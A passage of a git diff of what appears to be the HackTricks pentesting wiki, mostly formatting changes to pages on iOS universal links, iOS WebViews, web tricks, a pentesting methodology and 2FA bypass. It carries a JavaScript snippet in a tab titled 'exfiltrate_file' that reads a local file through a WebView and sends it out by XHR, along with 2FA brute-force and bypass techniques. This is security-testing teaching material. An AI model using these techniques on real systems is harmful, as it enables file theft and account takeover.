[https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\ For the pentester this file is very interesting as it **discloses paths**. It can even be disclosing paths of releases that haven't been published yet. ### ​**Checking the Associated Domains Entitlement** @@ -25,13 +25,15 @@ More detailed information can be found in the [archived Apple Developer Document If you only has the compiled application you can extract the entitlements following this guide: -{% page-ref page="extracting-entitlements-from-compiled-application.md" %} +{% content-ref url="extracting-entitlements-from-compiled-application.md" %} +[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md) +{% endcontent-ref %} ### R**etrieving the Apple App Site Association File** Try to retrieve the `apple-app-site-association` file from the server using the associated domains you got from the previous step. This file needs to be accessible via HTTPS, without any redirects, at `https:///apple-app-site-association` or `https:///.well-known/apple-app-site-association`. -You can retrieve it yourself with your browser or use the [Apple App Site Association \(AASA\) Validator](https://branch.io/resources/aasa-validator/). +You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/). ### **Checking the Link Receiver Method** @@ -39,7 +41,7 @@ In order to receive links and handle them appropriately, the app delegate has to Please note that if the app uses [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) to open a universal link to the app's website, the link won't open in the app. As the call originates from the app, it won't be handled as a universal link. -* The scheme of the `webpageURL` must be HTTP or HTTPS \(any other scheme should throw an exception\). The [`scheme` instance property](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) of `URLComponents` / `NSURLComponents` can be used to verify this. +* The scheme of the `webpageURL` must be HTTP or HTTPS (any other scheme should throw an exception). The [`scheme` instance property](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) of `URLComponents` / `NSURLComponents` can be used to verify this. ### **Checking the Data Handler Method** @@ -57,7 +59,7 @@ func application(_ application: UIApplication, continue userActivity: NSUserActi } ``` -In addition, remember that if the URL includes parameters, they should not be trusted before being carefully sanitized and validated \(even when coming from trusted domain\). For example, they might have been spoofed by an attacker or might include malformed data. If that is the case, the whole URL and therefore the universal link request must be discarded. +In addition, remember that if the URL includes parameters, they should not be trusted before being carefully sanitized and validated (even when coming from trusted domain). For example, they might have been spoofed by an attacker or might include malformed data. If that is the case, the whole URL and therefore the universal link request must be discarded. The `NSURLComponents` API can be used to parse and manipulate the components of the URL. This can be also part of the method `application:continueUserActivity:restorationHandler:` itself or might occur on a separate method being called from it. The following [example](https://developer.apple.com/documentation/uikit/core_app/allowing_apps_and_websites_to_link_to_your_content/handling_universal_links#3001935) demonstrates this: @@ -89,7 +91,5 @@ func application(_ application: UIApplication, ## References -{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#testing-object-persistence-mstg-platform-8" %} - - +{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md index eecf60b5..a1d36298 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md @@ -4,24 +4,24 @@ WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them. -* \*\*\*\*[**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**. -* \*\*\*\*[**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content. +* ****[**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**: **UIWebView is deprecated starting on iOS 12 and should not be used. It shouldn't be used. **JavaScript cannot be disabled**. +* ****[**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): This is the appropriate choice for extending app functionality, controlling displayed content. * **JavaScript** is enabled by default but thanks to the **`javaScriptEnabled`** property of `WKWebView`, it **can be completely disabled**, preventing all script injection flaws. * The **`JavaScriptCanOpenWindowsAutomatically`** can be used to **prevent** JavaScript from **opening new windows**, such as pop-ups. * The **`hasOnlySecureContent`** property can be used to verify resources loaded by the WebView are retrieved through encrypted connections. * `WKWebView` implements out-of-process rendering, so **memory corruption bugs won't affect** the main app process. -* \*\*\*\*[**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** It ****should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements: +* ****[**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**: **It** **should be used to provide a **generalized web viewing experience**. These WebViews can be easily spotted as they have a characteristic layout which includes the following elements: - * A read-only address field with a security indicator. - * An Action \("**Share**"\) **button**. - * A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari. + * A read-only address field with a security indicator. + * An Action ("**Share**") **button**. + * A **Done button**, back and forward navigation buttons, and a "Safari" button to open the page directly in Safari. - ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media) + ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media) - * **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface. - * `SFSafariViewController` also **shares cookies** and other website data with **Safari**. - * The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data. - * According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**. + * **JavaScript cannot be disabled** in `SFSafariViewController` and this is one of the reasons why the usage of `WKWebView` is recommended when the goal is extending the app's user interface. + * `SFSafariViewController` also **shares cookies** and other website data with **Safari**. + * The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data. + * According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**. ## Discovering WebViews Configuration @@ -46,7 +46,7 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` -Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView \([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)\): +Alternatively you can also search for known methods of these WebView classes. For example, search for the method used to initialize a WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" @@ -60,7 +60,7 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`: -```text +``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` @@ -75,7 +75,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" #### Testing OnlySecureContent -In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) \(HTTP content loaded from a HTTPS page\). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections. +In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\ In the compiled binary: ```bash @@ -88,7 +88,7 @@ You can also search in the source code or strings the string "http://". However, It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`: -{% code title="webviews\_inspector.js" %} +{% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { @@ -149,7 +149,7 @@ hasOnlySecureContent: false Several default schemes are available that are being interpreted in a WebView on iOS, for example: -* http\(s\):// +* http(s):// * file:// * tel:// @@ -169,14 +169,14 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" ### File Access -* **UIWebView:** +* **UIWebView: ** * The `file://` scheme is always enabled. * File access from `file://` URLs is always enabled. * Universal access from `file://` URLs is always enabled. - * If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is **not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources. + * If you retrieve the effective origin from a `UIWebView` where `baseURL` is also set to `nil` you will see that it is** not set to "null"**, instead you'll obtain something similar to the following: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`0. This origin "applewebdata://" is similar to the "file://" origin as it **does not implement Same-Origin Policy** and allow access to local files and any web resources. {% tabs %} -{% tab title="exfiltrate\_file" %} +{% tab title="exfiltrate_file" %} ```javascript String.prototype.hexEncode = function(){ var hex, i; @@ -203,10 +203,10 @@ xhr.send(null); {% endtabs %} * **WKWebView**: - * **`allowFileAccessFromFileURLs`** \(`WKPreferences`, `false` by default\): it enables JavaScript running in the context of a `file://` scheme URL to access content from other `file://` scheme URLs. - * **`allowUniversalAccessFromFileURLs`** \(`WKWebViewConfiguration`, `false` by default\): it enables JavaScript running in the context of a `file://` scheme URL to access content from any origin. + * **`allowFileAccessFromFileURLs`** (`WKPreferences`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from other `file://` scheme URLs. + * **`allowUniversalAccessFromFileURLs`** (`WKWebViewConfiguration`, `false` by default): it enables JavaScript running in the context of a `file://` scheme URL to access content from any origin. -You can search for those functions in the source code of the application or in the compiled binary. +You can search for those functions in the source code of the application or in the compiled binary.\ Also, you can use the following frida script to find this information: ```bash @@ -275,8 +275,8 @@ There are two fundamental ways of how native code and JavaScript can communicate * **JSContext**: When an Objective-C or Swift block is assigned to an identifier in a `JSContext`, JavaScriptCore automatically wraps the block in a JavaScript function. * **JSExport protocol**: Properties, instance methods and class methods declared in a `JSExport`-inherited protocol are mapped to JavaScript objects that are available to all JavaScript code. Modifications of objects that are in the JavaScript environment are reflected in the native environment. -Note that **only class members defined in the `JSExport`** protocol are made accessible to JavaScript code. -Look out for code that maps native objects to the `JSContext` associated with a WebView and analyze what functionality it exposes, for example no sensitive data should be accessible and exposed to WebViews. +Note that **only class members defined in the `JSExport`** protocol are made accessible to JavaScript code.\ +Look out for code that maps native objects to the `JSContext` associated with a WebView and analyze what functionality it exposes, for example no sensitive data should be accessible and exposed to WebViews.\ In Objective-C, the `JSContext` associated with a `UIWebView` is obtained as follows: ```objectivec @@ -302,7 +302,7 @@ func enableJavaScriptBridge(_ enabled: Bool) { ### Sending Message -Adding a script message handler with name `"name"` \(or `"javaScriptBridge"` in the example above\) causes the JavaScript function `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` to be defined in all frames in all web views that use the user content controller. It can be then [used from the HTML file like this](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33): +Adding a script message handler with name `"name"` (or `"javaScriptBridge"` in the example above) causes the JavaScript function `window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage` to be defined in all frames in all web views that use the user content controller. It can be then [used from the HTML file like this](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/d4e2d9efbde8841bf7e4a8800418dda6bb116ec6/WheresMyBrowser/web/WKWebView/scenario3.html#L33): ```javascript function invokeNativeOperation() { @@ -316,8 +316,8 @@ function invokeNativeOperation() { document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2 ``` -Once the Native function es executed it usually will **execute some JavaScript inside the web page** \(see `evaluateJavascript` below\) you can be interested on **overriding the function** that is going to be executed to **steal the result**. -For example, in the script below the function **`javascriptBridgeCallBack`** is going to be executed with 2 params \(the called function and the **result**\). If you control the HTML that is going to be loaded you can create an **alert with the result** like: +Once the Native function es executed it usually will **execute some JavaScript inside the web page** (see `evaluateJavascript` below) you can be interested on **overriding the function** that is going to be executed to **steal the result**.\ +For example, in the script below the function **`javascriptBridgeCallBack`** is going to be executed with 2 params (the called function and the **result**). If you control the HTML that is going to be loaded you can create an **alert with the result** like: ```markup @@ -354,12 +354,12 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) In order to test send a postMessage inside an application you can: -* Change the servers response \(MitM\) -* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews \([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`\). +* Change the servers response (MitM) +* Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`). ## Debugging iOS WebViews -\(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)\) +(Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) In iOS webviews, messages passed to `console.log()` are _not_ printed to the Xcode logs. It's still relatively easy to debug web content with Safari's developer tools, although there are a couple of limitations: @@ -368,11 +368,11 @@ In iOS webviews, messages passed to `console.log()` are _not_ printed to the Xco With those limitations in mind, here are the steps to remotely debug a webview in iOS: -* First, enable the Safari Web Inspector on your iOS device by opening the iOS _Settings_ app, navigating to **Settings > Safari > Advanced**, and toggling the _Web Inspector_ option on. +* First, enable the Safari Web Inspector on your iOS device by opening the iOS _Settings_ app, navigating to **Settings > Safari > Advanced**, and toggling the _Web Inspector_ option on. ![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) -* Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to **Safari > Preferences** in the menu bar. In the preferences pane that appears, click on the _Advanced_ tab and then enable the _Show Develop menu_ option at the bottom. After you do that, you can close the preferences pane. +* Next, you must also enable developer tools in Safari on your dev computer. Launch Safari on your dev machine and navigate to **Safari > Preferences** in the menu bar. In the preferences pane that appears, click on the _Advanced_ tab and then enable the _Show Develop menu_ option at the bottom. After you do that, you can close the preferences pane. ![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) @@ -387,6 +387,5 @@ With those limitations in mind, here are the steps to remotely debug a webview i ## References -* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction\#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) +* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - diff --git a/other-web-tricks.md b/other-web-tricks.md index 6213ce90..c7b627ec 100644 --- a/other-web-tricks.md +++ b/other-web-tricks.md @@ -6,12 +6,12 @@ Several times the back-end trust the H**ost header** to perform some actions. Fo ### Session booleans -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check. +Some times when you complete some verification correctly the back-end will** just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### Register functionality -Try to register as an already existent user. Try also using equivalent characters \(dots, lots of spaces and Unicode\). +Try to register as an already existent user. Try also using equivalent characters (dots, lots of spaces and Unicode). ### Takeover emails @@ -23,7 +23,6 @@ Register an email, before confirming it change the email, then, if the new confi ### TRACE method -Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) - -![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) +Developers might forget to disable various debugging options in the production environment. For example, the HTTP `TRACE` method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the `TRACE` method by echoing in the response the exact request that was received. This behaviour is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) +![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png) diff --git a/pentesting-methodology.md b/pentesting-methodology.md index 743accf7..9e6a95e8 100644 --- a/pentesting-methodology.md +++ b/pentesting-methodology.md @@ -6,32 +6,32 @@ description: >- # Pentesting Methodology -![](.gitbook/assets/portada-2.png) +![](<.gitbook/assets/portada 2.png>) {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ [**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## 0- Physical Attacks -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about **\*\*\[**escaping from GUI applications\*\*\]\(physical-attacks/escaping-from-gui-applications/\). +Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](physical-attacks/physical-attacks.md) and others about **\*\*\[**escaping from GUI applications\*\*]\(physical-attacks/escaping-from-gui-applications/). ## 1 - [Discovering hosts inside the network ](pentesting/pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** \(internal test\) or **finding assets of the company on the internet** \(external test\). +**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). {% hint style="info" %} Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. {% endhint %} -## **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **\(Internal\)** +## **2-** [**Having Fun with the network**](pentesting/pentesting-network/) **(Internal)** -**This section only applies if you are performing an internal test.** -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively\(MitM\)** what can you find inside the network. You can read [**Pentesting Network**](pentesting/pentesting-network/#sniffing). +**This section only applies if you are performing an internal test.**\ +Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting/pentesting-network/#sniffing). ## 3- [Port Scan - Service discovery](pentesting/pentesting-network/#scanning-hosts) @@ -45,12 +45,12 @@ Once you know which services are running, and maybe their version, you have to * If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** -**Inside this book you will find a guide to pentest the most common services** \(and others that aren't so common\)**. Please, search in the left index the** _**PENTESTING**_ **section** \(the services are ordered by their default ports\). +**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). -**I want to make a special mention of the** [**Pentesting Web**](pentesting/pentesting-web/) **part \(as it is the most extensive one\).** +**I want to make a special mention of the** [**Pentesting Web**](pentesting/pentesting-web/) **part (as it is the most extensive one).**\ Also, a small guide on how to[ **find known vulnerabilities in software**](search-exploits.md) can be found here. -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** \(if any\). +**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). ### 5.1 Automatic Tools @@ -68,26 +68,26 @@ If at this point you haven't found any interesting vulnerability you **may need Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](shells/shells/). -Specially in Windows you could need some help to **avoid antiviruses**: **\*\*\[**Check this page**\]\(windows/av-bypass.md\)**.\*\* +Specially in Windows you could need some help to **avoid antiviruses**: **\*\*\[**Check this page**]\(windows/av-bypass.md)**.\*\* ## 8- Inside If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: * [**Linux**](linux-unix/useful-linux-commands/) -* [**Windows \(CMD\)**](windows/basic-cmd-for-pentesters.md) -* [**Winodows \(PS\)**](windows/basic-powershell-for-pentesters/) +* [**Windows (CMD)**](windows/basic-cmd-for-pentesters.md) +* [**Winodows (PS)**](windows/basic-powershell-for-pentesters/) ## **9 -** [**Exfiltration**](exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** \(like privilege escalation scripts\). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** +You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](exfiltration.md)**.** ## **10- Privilege Escalation** ### **10.1- Local Privesc** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.** -Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.** +If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ +Here you can find a **guide to escalate privileges locally in** [**Linux**](linux-unix/privilege-escalation/) **and in** [**Windows**](windows/windows-local-privilege-escalation/)**.**\ You should also check this pages about how does **Windows work**: * [**Authentication, Credentials, Token privileges and UAC**](windows/authentication-credentials-uac-and-efs.md) @@ -105,21 +105,21 @@ Here you can find a [**methodology explaining the most common actions to enumera ### **11**.1 - Looting -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**. +Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ Find here different ways to [**dump passwords in Windows**](windows/stealing-credentials/). ### 11.2 - Persistence -**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again. -Here you can find some** [**persistence tricks on active directory**](windows/active-directory-methodology/#persistence)**.** +**Use 2 o 3 different types of persistence mechanism so you won't need to exploit the system again.**\ +**Here you can find some** [**persistence tricks on active directory**](windows/active-directory-methodology/#persistence)**.** TODO: Complete persistence Post in Windows & Linux ## 12 - Pivoting -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** \(start the Pentesting Methodology again\) inside new networks where your victim is connected. -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md). -You definitely should also check the post about [Active Directory pentesting Methodology](windows/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials. +With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ +In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](tunneling-and-port-forwarding.md).\ +You definitely should also check the post about [Active Directory pentesting Methodology](windows/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to pivot on Windows environments.. ## MORE @@ -140,7 +140,6 @@ Check also the page about [**NTLM**](windows/ntlm/), it could be very useful to * [**CBC-MAC**](cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](cryptography/padding-oracle-priv.md) -![](.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29%20%281%29.png) +![](<.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67 (6) (4) (1) (1).png>) ​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop) - diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 8c368bb9..400a5b87 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -4,7 +4,7 @@ ### **Direct bypass** -Fuck the 2FA, just **try to access the next endpoint directly** \(you need to know the path of the next endpoint\). If this doesn't work, try to change the **Referrer header** as if you came from the 2FA page. +Fuck the 2FA, just **try to access the next endpoint directly** (you need to know the path of the next endpoint). If this doesn't work, try to change the **Referrer header** as if you came from the 2FA page. ### **Reusing token** @@ -24,12 +24,12 @@ Using the same session start the flow using your account and the victims account ### **Password reset function** -In almost all web applications the **password reset function automatically logs the user into the application** after the reset procedure is completed. -Check if a **mail** is sent with a **link** to **reset the password** and if you can **reuse** that **link** to reset the password as **many times as you want** \(even if the victim changes his email address\). +In almost all web applications the **password reset function automatically logs the user into the application** after the reset procedure is completed.\ +Check if a **mail **is sent with a **link **to **reset the password** and if you can **reuse** that **link **to reset the password as **many times as you want** (even if the victim changes his email address). ### OAuth -If you can compromise the account of the user in a trusted **OAuth** platform\(Google, Facebook...\) +If you can compromise the account of the user in a trusted **OAuth **platform(Google, Facebook...) ### Brute force @@ -39,7 +39,7 @@ There is any limit in the amount of codes that you can try, so you can just brut #### Flow rate limit but no rate limit -In this case there is a flow rate limit \(you have to brute force it very slowly: 1 thread and some sleep before 2 tries\) but no rate limit. So with enough time you can be able to find the valid code. +In this case there is a flow rate limit (you have to brute force it very slowly: 1 thread and some sleep before 2 tries) but no rate limit. So with enough time you can be able to find the valid code. #### Re-send code reset the limit @@ -47,11 +47,13 @@ There is a rate limit but when you "resend the code" the same code is sent and t #### Client side rate limit bypass -{% page-ref page="rate-limit-bypass.md" %} +{% content-ref url="rate-limit-bypass.md" %} +[rate-limit-bypass.md](rate-limit-bypass.md) +{% endcontent-ref %} #### Lack of rate limit in user's account -Sometimes you can configure the 2FA for some actions inside your account \(change mail, password...\). However, even in cases where there was a rate limit when you tried to log in, there isn't any rate limit protecting this actions. +Sometimes you can configure the 2FA for some actions inside your account (change mail, password...). However, even in cases where there was a rate limit when you tried to log in, there isn't any rate limit protecting this actions. #### Lack of rate limit re-sending the code via SMS @@ -59,7 +61,7 @@ You want be able to bypass the 2FA but you will be able to waste money of the co #### Infinite OTP regeneration -If you can **generate a new OTP infinite times**, the **OTP is simple enough** \(4 numbers\), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using. +If you can **generate a new OTP infinite times**, the** OTP is simple enough** (4 numbers), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using. 